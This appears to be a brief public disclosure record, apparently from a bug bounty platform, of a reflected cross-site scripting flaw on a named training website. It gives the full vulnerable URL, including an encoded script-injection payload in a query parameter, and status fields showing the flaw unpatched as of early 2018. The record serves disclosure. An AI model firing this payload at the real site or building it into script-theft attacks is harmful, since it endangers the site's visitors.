mcmcse.com XSS vulnerability

Vulnerable URL: http://www.mcmcse.com/training/index.php?cat=%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 440232 VIP website...